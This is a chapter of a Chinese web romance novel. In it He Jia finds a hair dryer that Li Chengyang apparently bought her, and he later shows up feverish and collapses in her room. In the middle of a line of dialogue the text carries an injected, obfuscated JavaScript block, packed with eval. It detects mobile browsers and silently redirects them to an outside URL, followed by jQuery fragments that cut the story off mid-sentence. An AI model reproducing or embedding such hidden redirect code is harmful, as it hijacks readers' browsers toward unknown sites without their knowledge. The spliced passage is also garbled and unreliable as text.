29. 第29章
作品:《余川不下雪》 “好了。”
张壅站起来指了指吧台,“那个吹风机,你快去拿吧,那多半是他给你的。”
“什么?”何嘉还在沉浸在刚才的情绪里,根本反应不过来他什么意思。
“啧。”他提示她:“我说那个吹风机,多半是他带给你的,店里又没别人住,不是给你的是给谁的?但我看你们最近又开始闹别扭,估计他也不好意思说。”
她呆呆地望着吧台:“给我的?可是他前几天刚拒绝我了,应该不太可能再送东西给我了。”
张壅震惊:“什么?他已经拒绝了?”
何嘉不好意思,小声说:“应该是的,他说他只是习惯照顾人,我和他只是晚辈和长辈的关系,他让我不要误会……”
“卧槽?”他忍不住骂道:“这不浪费我表情吗?我刚还让你给他点时间,那还给个锤啊!”
“好像是这样的。”
他无语:“你就该虐虐他,不然他真不知道自己算老几。切,有些人失去了才知道珍惜哟。”
“不是的,他那天还说,如果遇到的是别人,他也会这么帮助她的。”
“你信他?你信他还是信我有一百万?”
何嘉思索两秒,还是觉得一百万更可信。
张壅摇头:“不是我说,你真信啊?唉,你…唉不是我说?你再想想呢?你能信他说的话啊?”
这次她没回答,反而去拿吹风机去了。
白色的吹风机,没有特别大,拿在手里毫不费力,机身还画着一个棕色的小熊。
……这不可能是李成杨自己用的吧?那搞不好真的是买给她的?
可他怎么不直接给她,还要装作什么都没发生的样子?
何嘉捏着吹风,心里一万个问号。他不是才拒绝了她吗?难道这也算长辈照顾晚辈的范畴?
不知怎么,她倏然想到某个夜晚,他好像是叫她买一个吹风来着,只是不过她当时说没钱。
所以,这应该就是他的手笔。
好吧,她默默勾唇,带着吹风回到二楼。
才刚坐下,手机正好传来几条消息。
对面一连发了好几张图片,全是她那天骑马的照片。
图片加载完毕,对面又发来一句:【冉舒说没你微信,让我发你。】
她看着他的头像,心脏微微跳动,那天之后他们再也没有联系过。不知道他这几天过得怎么样。
【谢谢。】
害怕他觉得困扰,她只回了这句。
过了两秒又想到吹风,还是发了:【吹风也谢谢。】
很有礼貌,也很客气。
李成杨的手指僵在键盘上,没再回复。
她竟然没问吹风的事,说了句谢谢就算了。她以前不是这样的。
关掉手机,哪里都不对劲。
他本来以为,自己是回错房间那晚之后才变得不对劲,没想到钓鱼那天之后也没有变得多正常。
到底是怎么回事?
腿上的伤口还在隐隐作痛,那天之后一直忘记消毒,如果还不处理的话就会流脓发烧,但他只是看了一眼,故意不理。
第二天,农历二十八,法定春节休假的第一天。
何嘉起了个大早,张姨和店里其他员工都开始放假,整个饭店只剩她一个人。
她本来想问李成杨钥匙怎么处理,但想了一个晚上都找不到合适的措辞,索性就先不问了,反正能拖一天是一天。
从一楼打两桶热水,她还是决定先洗个澡。
有了前车之鉴,这次洗澡之前她特意巡视二楼的包间,将它们一一关好之后才放心走进洗手间。
兰花味的飘柔又少了一小半,她轻轻冲掉头上所有的泡泡。
过了一个小时,她裹好头上的毛巾,从厕所出来的时候还没来得及穿外套。
她将头发擦得半干,迫不及待地拿起李成杨给她的吹风。
热风打在脸上,很温暖,吹起她额间细小的绒毛。她转了个身,脸颊向着窗外的阳光。
说是要下雪的天气,还是出了太阳。
吹风运行的声音嘈杂,却盖不住她轻哼音乐的曲调。
她的手指在发间穿梭,湿意慢慢变得干燥。
一阵细微的脚步声踩过楼梯,停在房间门口,她忙着观察远方的白塔,根本没有注意到。
暖风划过她的头发,将几缕发丝轻轻吹起,发间的香味向后扩散,一瞬间占据了谁的神经。
那人不声不响地朝她靠近一步,而她的头发像从前无数次那样沐浴在阳光里,变成粼粼金光。
他伸手朝她的发丝靠近,想要接住其中一缕温暖。
再靠近一点,微风再将它吹过来些。
就在即将触碰到的那瞬间,他的指尖轻颤,心里突然变得很紧张。
可是不巧,她突然放下吹风,室内陷入一片寂静。
他在刹那间收回手指,静静地看她用梳子理顺发梢。过了一会儿,她又拿起桌上的发圈,仔细地取下缠在上面的断发,亦如刚才那边心无旁骛。
默默弯唇,他忍不住微笑,是在想她怎么还没发现他。
那就再往前靠近一步,呼吸离她不过几步之遥。
地板忽然响动一声,她猛地回头,手间的发圈没骨气地滚到地上。
何嘉的眼里满是惊愕,发丝也在霎时朝前飞动,香味卷在风里,吹到他心上。
他沉默地望向她,看到她身后的白云蓝天,还有她身上披着的太阳。
“李成杨?”
她动了动嘴唇,眼里的惊愕变成讶异。
他就这么看着她,心脏像断线的风筝一样乱跑。
“嗯。”
这次没有纠正称呼,很坦然地应了。
“你怎么在这儿?”
这次换她问他这个问题。
他不说话,弯腰去捡地上的发圈。
非常朴实的黑色发圈,躺在他手里的时候显得很小,他将它握在手心,小心地摩擦两下。
然后,他直起身,一步一步走向她。
世界万籁俱寂,她听见他靠近的声响。
心跳在那一瞬撞进他墨黑的眼睛,她能看到他眼里的不同寻常。
如此深邃、明亮的眼睛,此刻只注视她一人,他不断走近的动作,让她每一秒都面红耳赤。
他停在她面前,低头凝视她的时候像水一样温柔。
她从来不知道,他的眼里也会迸出星星的光芒。
“你的东西。”
他的嗓音如低吟浅唱,打在她本就毫无防备的神经上。
发圈躺在他的手心,十分安静地举在她眼前。
她手心出汗,极其不自然地触碰到他的皮肤,热意相接的时候两人都颤了颤睫毛。
“谢谢。”她迅速取下发圈,将它紧紧握在手里。
他问她:“今天已经放假了,怎么还没走?”
她后退一步,耳尖泛红。
“我打算明天再走。”
“回安城?”他偏朝前一步。
“对。”
“明天什么时候?”
“就,早上的时候。”
“好。”
这么近的距离,何嘉觉得自己的心脏快到就要不受控制,但除此之外她整个人都感到疑惑。
他今天怎么这么反常?
小姑娘眼睛转了几圈,试图在他脸上找到答案,可他表情一如既往。
见鬼。
“你怎么了吗?”
“什么?”李成杨的眼神停留在她的嘴角,那里本来应该有两个梨涡,但现在笑也不笑。
她怎么不对他笑了?
何嘉屏住呼吸,“我是说,你今天怎么在这里?你有什么事吗?”
他脑子不太清晰,只含糊回答:“我本来就该在这里。”
“你是说,你这两天要住店里,用这个房间吗?”
“不是,我的意思是,每年的这个时候我都在这里,一个人。”
张壅昨天也是这么告诉她的。
一字一句她都记得,心里刺痛几分,没有表现出来。她又后退一步,专注探究他的表情。
今天的他,真的有点不正常,特别是眼睛,看上去红红的,像是生病了一样。
“你有病
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308767|197793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?”她没忍住这么问了一句。
他一直朝她靠近,直到她后腰抵住窗台的时候才停下。
“你病了吗?”
他低笑:“我没病。”
她不相信:“你人是清醒的吗?我看你好像不太正常。”
“不正常?不正常吗?”
“你这样,难道很正常吗?”
“很正常,哪里不正常?”
何嘉嫌他烦,将他推开两步:“你没事就出去,我忙着呢。”
他不听话,故意低头去找她的眼睛。炽热的呼吸打在她脸上,她从未这么清晰地在他眼睛里看到过自己。
嗯,很好,现在小朋友不但对他冷淡了,竟然还一直觉得他有病。有病就有病吧,反正他是真的有病。
李成杨的眼神黏在她身上,呼吸变得急促。
何嘉无法理解,只能盯着他步步凑近,后腰硌得生疼。他却强硬地伸出双臂,撑在她腰边。
把她圈在窗户和自己的身体之间。
禁锢。
“你干嘛?!”
“我……”
他的目光落在她的嘴唇,眼神幽暗。
“李成杨。”小姑娘一脸怒气,像炸毛的狐狸。
“嗯。”声音沙哑。
“你别离我那么近。”
他不说话,呼吸喷在她鼻尖。
一股热气包围何嘉,仅仅是这样,她都能猜到他怀抱的温度。
他身上的荷尔蒙混着她发间的香味,让他体温变得更加灼热,而他动动手指,无意识触碰到她腰间的布料。
空气中的气息开始暧昧、旖旎。
她咽了咽口水,尽量冷静地问他:“李成杨,你是不是真的病了?你病了就去吃药,你跑到我这来做什么?你现在还离我这么近,你到底想干嘛?你最好赶快离我远一点!”
他眸子变暗,还在观察她说这话的表情是不是认真的。
因为这句话的每个字都精准刺在他的心窝上。她问他来干什么?
是啊,他来干什么?
哦,他知道了。她是真的不管他了,她是真的不关心他了,她是真的将他排除在外了。
原本雀跃的心脏一瞬间骤停,他感到大脑头痛欲裂,全身的力气都被抽空,眼前只剩下她质问的神情。
“李成杨?你说话,你到底怎么了?”
“李成杨?”
他的视线开始模糊,整个身体都朝前倾斜,猝然地、毫无保留地抱住了她的身体,没发出一点声响。
“李成杨——!”
何嘉立马环住他的身体,感觉肩上传来一片异常的温度。
她猛地拍了拍他的背:“你怎么了?你是不是生病了?你今天不舒服吗?你说话啊!”
他身上的热气传到她身上,一点一点侵蚀她的理智。
男人的重量压得她难以呼吸,“李成杨……你还醒着吗?要不要去医院?”
他下意识喘气,热意涌进她的耳朵,她只听到他小声呢喃了几句。
“什么?你说大声一点!李成杨!你说大声一点!”
“……何嘉。”他只重复了这两个字。
“我听到了,我听到了!”何嘉的情绪炸开,抱着他的时候语气颤抖:“你等等好不好?你先别晕,我打电话叫救护车好不好?”
他却气若游丝,下一秒就坠入黑暗,不再回应。
何嘉不再跟他说话,将他吃力地拖到床上平躺,又用手探了探他的额头,温度烫手,果然是发烧了。
昨天看他好好的,今天怎么就烧成这样了?她有些拿不准主意,只想了一秒还是觉得应该叫救护车。
一个电话过去,医生说很快过来。那就好,那就好,她坐回他身边,心脏还因为后怕而快速跳动。
他的脸颊潮红,就像那个晚上一样,不声不响地躺在这张属于她的小床。
何嘉替他垫上一根冰凉的毛巾,用手戳了戳他的脸,热意停留在她的指尖。
不忘故作威胁:“李成杨,你要是烧死了怎么办?我绝对不会给你扫墓的,你这家饭馆也归我了,所以你最好不要有事。”

